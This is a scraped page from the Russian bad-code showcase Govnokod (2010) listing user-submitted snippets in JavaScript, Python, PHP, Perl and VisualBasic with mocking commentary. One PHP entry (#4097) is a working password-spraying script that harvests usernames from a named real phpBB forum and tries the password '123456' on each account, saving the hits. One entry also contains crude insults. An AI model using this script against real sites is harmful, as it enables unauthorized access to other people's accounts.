1. Лучший говнокод

    В номинации:
    За время:
  2. JavaScript / Говнокод #4196

    +165

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    21. 21
    22. 22
    23. 23
    24. 24
    25. 25
    26. 26
    27. 27
    28. 28
    29. 29
    30. 30
    31. 31
    32. 32
    33. 33
    34. 34
    35. 35
    function urldecode(code) {
            code = escape(code);
            code = code.replace(/\+/g,' ');
            code = code.replace(/%21/g,'!');
            code = code.replace(/%22/g,'"');
            code = code.replace(/%23/g,'#');
            code = code.replace(/%24/g,'$');
            code = code.replace(/%2D/g,'-');
            code = code.replace(/%5E/g,'^');
            code = code.replace(/%26/g,'&');
            code = code.replace(/%B9/g,'№');
            code = code.replace(/%3B/g,';');
            code = code.replace(/%25/g,'%');
            code = code.replace(/%3A/g,':');
            code = code.replace(/%3F/g,'?');
            code = code.replace(/%28/g,'(');
            code = code.replace(/%29/g,')');
    
    		code = code.replace(/%BF/g,'ї');
    		code = code.replace(/%AF/g,'Ї');
    		code = code.replace(/%B3/g,'і');
    		code = code.replace(/%B2/g,'І');
    		code = code.replace(/%BA/g,'є');
    		code = code.replace(/%AA/g,'Є');
    
            code = code.replace(/%C0/g,'А');
    [от ^ до \/]
            code = code.replace(/%DF/g,'Я');
    
            code = code.replace(/%E0/g,'а');
    [аналогично]
            code = code.replace(/%FF/g,'я');
    
            return code;
    }

    http://informer.gismeteo.ru/getcode/js/decode.js
    -Они забыли массив!
    -Говнокодеры!

    ReallyBugMeNot, 08 Сентября 2010

    Комментарии (5)
  3. Python / Говнокод #4192

    −171

    1. 1
    sys.path = ['/home/username/webapps/django', '/home/username/webapps/django/lib/python2.5'] + sys.path

    индусы в моих джангах. pascal style

    awsum, 07 Сентября 2010

    Комментарии (5)
  4. PHP / Говнокод #4186

    +162

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    if(!function_exists('getImg')){
        function getImg($isVip)
        {
        $type = false;
        if (isset($_GET['f']) && $_GET['f']) $type = 1;
        if (isset($_GET['bl']) && $_GET['bl']) $type = 16;
        if (isset($_GET['lw']) && $_GET['lw']) $type = 'author';
        if (isset($_GET['sym']) && $_GET['sym'] && $isVip) $type = 2;
        return $type;
        }
    }

    Функция getImg: хм... название как бэ намекает нам, что должно на выходе получиться что-нибудь типа картинки или её адреса, НО НЕТ! нам возвращается какой-то тип...
    Что это за тип (ну да, да, php бестиповой язык, но нужно же как-то хотя бы намёки на тип делать) - одному Богу известно, НО! эта переменная изначально логическая, потом ВНЕЗАПНО превпращается в число, ну и под конец может быть и строкой! (ну а почему бы и нет)
    Причём конечно же всем очевидна последовательность: 1, 16, (опять-таки ВНЕЗАПНО) 'author', ну и по уже "понятной" логике в конце 2

    Да, ну и разумеется вокруг оооочень много комментариев поясняющие этот кусок кода...
    А вы на индусов ругаетесь... Так-то!

    Zemtall, 06 Сентября 2010

    Комментарии (5)
  5. PHP / Говнокод #4176

    +158

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    if ($_REQUEST['name']){
    	$nameProduct = $_REQUEST['name'];
    	$products = $db->products($_REQUEST['name']);
    } else {
    	$products = 'error';	
    }
    
    if ($products == 'error'){
    	$http->redirect('index.php');
    }

    Из частного проекта.
    Во-первых почему-бы не использовать $nameProduct второй раз вместо $_REQUEST['name']?
    Во-вторых вместо $products = 'error'; можно сразу было сделать редирект, т.к. все последующие использования $products не имеют смысла, если редирект выполнен.

    mikhailu, 06 Сентября 2010

    Комментарии (5)
  6. JavaScript / Говнокод #4149

    +161

    1. 1
    2. 2
    3. 3
    4. 4
    5. 5
    6. 6
    7. 7
    function actionId(child) {
    	return child.action[{
    		'menu': 'ivrMenuId',
    		'queu': 'queueId',
    		'scenario': 'scenarioId'
    	}[child.action.type.toLowerCase()]];
    }

    Те,кто будет это поддерживать, недостойны моего сострадания!

    ixth, 01 Сентября 2010

    Комментарии (5)
  7. PHP / Говнокод #4112

    +168

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    21. 21
    22. 22
    23. 23
    24. 24
    25. 25
    26. 26
    27. 27
    28. 28
    29. 29
    30. 30
    31. 31
    32. 32
    33. 33
    34. 34
    35. 35
    36. 36
    37. 37
    38. 38
    39. 39
    40. 40
    41. 41
    42. 42
    43. 43
    44. 44
    45. 45
    46. 46
    47. 47
    48. 48
    ###########################################################################################################
    # Проверка переменных
    ###########################################################################################################
    function check($str) {
        $str = htmlentities(trim($str), ENT_QUOTES, 'UTF-8');
        $str = nl2br($str);
        $str = strtr($str, array (
            chr(0)=> '',
            chr(1)=> '',
            chr(2)=> '',
            chr(3)=> '',
            chr(4)=> '',
            chr(5)=> '',
            chr(6)=> '',
            chr(7)=> '',
            chr(8)=> '',
            chr(9)=> '',
            chr(10)=> '',
            chr(11)=> '',
            chr(12)=> '',
            chr(13)=> '',
            chr(14)=> '',
            chr(15)=> '',
            chr(16)=> '',
            chr(17)=> '',
            chr(18)=> '',
            chr(19)=> '',
            chr(20)=> '',
            chr(21)=> '',
            chr(22)=> '',
            chr(23)=> '',
            chr(24)=> '',
            chr(25)=> '',
            chr(26)=> '',
            chr(27)=> '',
            chr(28)=> '',
            chr(29)=> '',
            chr(30)=> '',
            chr(31)=> ''
        ));
        $str = str_replace("\'", "'", $str);
        $str = str_replace('\\', "\", $str);
        $str = str_replace("|", "I", $str);
        $str = str_replace("||", "I", $str);
        $str = str_replace("/\\\$/", "$", $str);
        $str = mysql_real_escape_string($str);
        return $str;
    }

    Лепота)

    MoLe-X, 27 Августа 2010

    Комментарии (5)
  8. Perl / Говнокод #4108

    −117

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    my $arr=[];
    my $res=$dbr->selectrow_arrayref("SELECT DISTINCT obj.value
    FROM obj
    INNER JOIN ...
    INNER JOIN ...
    INNER JOIN ...
    INNER JOIN ...
    INNER JOIN ...
    WHERE ..... 
    сложный, но не интересный SQL-запрос к наскольким таблицам под лям записей в каждом
    ...");
    arm_ls.lsid IN ($ls_str)
    
    foreach $row (@$res)
    {
    push(@$arr,$row->[0]) if (!grep(/^$row->[0]$/,@$arr));
    }
    my $sum=@$arr;
    return $sum;

    Нашел тут в одном проекте. Теперь хочу поделиться с вами великолепным способом получения числа уникальных значений из таблицы.
    В этот способ научит вас использовать всю мощь перла.

    Mihard, 26 Августа 2010

    Комментарии (5)
  9. PHP / Говнокод #4097

    +159

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    21. 21
    22. 22
    23. 23
    24. 24
    25. 25
    26. 26
    27. 27
    28. 28
    29. 29
    30. 30
    31. 31
    32. 32
    33. 33
    34. 34
    35. 35
    36. 36
    37. 37
    38. 38
    39. 39
    40. 40
    41. 41
    42. 42
    43. 43
    44. 44
    45. 45
    46. 46
    47. 47
    48. 48
    49. 49
    50. 50
    51. 51
    52. 52
    53. 53
    54. 54
    55. 55
    56. 56
    57. 57
    58. 58
    59. 59
    60. 60
    61. 61
    62. 62
    63. 63
    64. 64
    65. 65
    66. 66
    67. 67
    68. 68
    69. 69
    70. 70
    71. 71
    72. 72
    define(hostname, 'http://phpbbforum.ru');
    $file = './txt/users_phpbb.txt';
    function get_users($data)
    {
    preg_match_all('!">(.*?)</a></b>!', $data, $users);
    return $users[1];
    }
    
    function get_num_users($data)
    {
    preg_match_all('!">(.*?)</a></b>!', $data, $users);
    return count($users[1]);
    }
    
    function get_num_pages($data)
    {
    preg_match('!">(\d{1,8})</a><form action!', $data, $num_pages);
    return $num_pages[1];
    }
    
    function curl_header($url)
    {
    $ch = curl_init ($url);
    curl_setopt($ch, CURLOPT_USERAGENT, useragent);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
    curl_setopt($ch, CURLOPT_HEADER, 1);
    $data = curl_exec($ch);
    curl_close($ch);
    return $data;
    }
    
    function brut($url)
    {
    $data = curl_header($url);
    $count = substr_count($data, 'Cookie');
    if($count == 2)
    return false;
    else
    return true;
    }
    function get_pages($num)
    {
    global $users_per_page;
    for($i = 0; $i<$num; $i++)
    $data .= req(hostname . '/memberlist.php?mode=posts&order=DESC&start=' . $users_per_page * $i);
    return $data;
    }
    if(!file_exists($file))
    {
    $data = req(hostname.'/memberlist.php');
    $users_per_page = get_num_users($data);
    $num_pages = get_num_pages($data);
    $pages = get_pages($num_pages);
    $users = get_users($pages);
    $fp = fopen($file, 'w');
    $users = implode("\n", $users);
    fputs($fp, $users);
    fclose($fp);
    }
    $users = file_get_contents($file);
    $users = explode("\n", $users);
    $count = count($users);
    $pass = '123456';
    for($i = 0; $i<$count; $i++)
    {
    if( brut(hostname.'/login.php?username='.urlencode($users[$i])."&password=$pass") )
    $good[] = $users[$i];
    }
    $fp = fopen("./txt/$pass.txt", 'a+');
    fputs($fp, implode("\n", $good));
    fclose($fp);
    print_r($good);

    Coder, 25 Августа 2010

    Комментарии (5)
  10. VisualBasic / Говнокод #4068

    −100

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    Case vIP(1)
             Case "1"  v_empirumserver="evempr"
    ....
      ещё где-то 100 таких-же строчек
    ....
             Case "160"    v_empirumserver = "svcf1501"
             Case "161"
                Select Case vIP(2)
                	Case "17"
    		End Select
    		    v_empirumserver = "svnrw040"          
             Case "163"
    		    v_empirumserver = "svrg5008" 
    ....
      ещё где-то 100 таких-же строчек
    ....
      End Select

    Только что увидел.....
    Это кусок с скрипта входу в систему на корпоративном домене.
    убило

    Select Case vIP(2)
    зачем оно здесь????

    adli__82, 23 Августа 2010

    Комментарии (5)
  11. PHP / Говнокод #4067

    +145

    1. 1
    2. 2
    3. 3
    4. 4
    5. 5
    6. 6
    7. 7
    8. 8
    9. 9
    <?php
    
    $x = true;
    
    if($x == 1) print "Говнокод - гамносайт";
    elseif($x == 2) print "Все завсегдатые данного сайта - пидоры, причем тупые";
    elseif($x == 3) print "Спасибо за внимание";
    
    ?>

    Сосем мой йух :)

    sergylens, 23 Августа 2010

    Комментарии (5)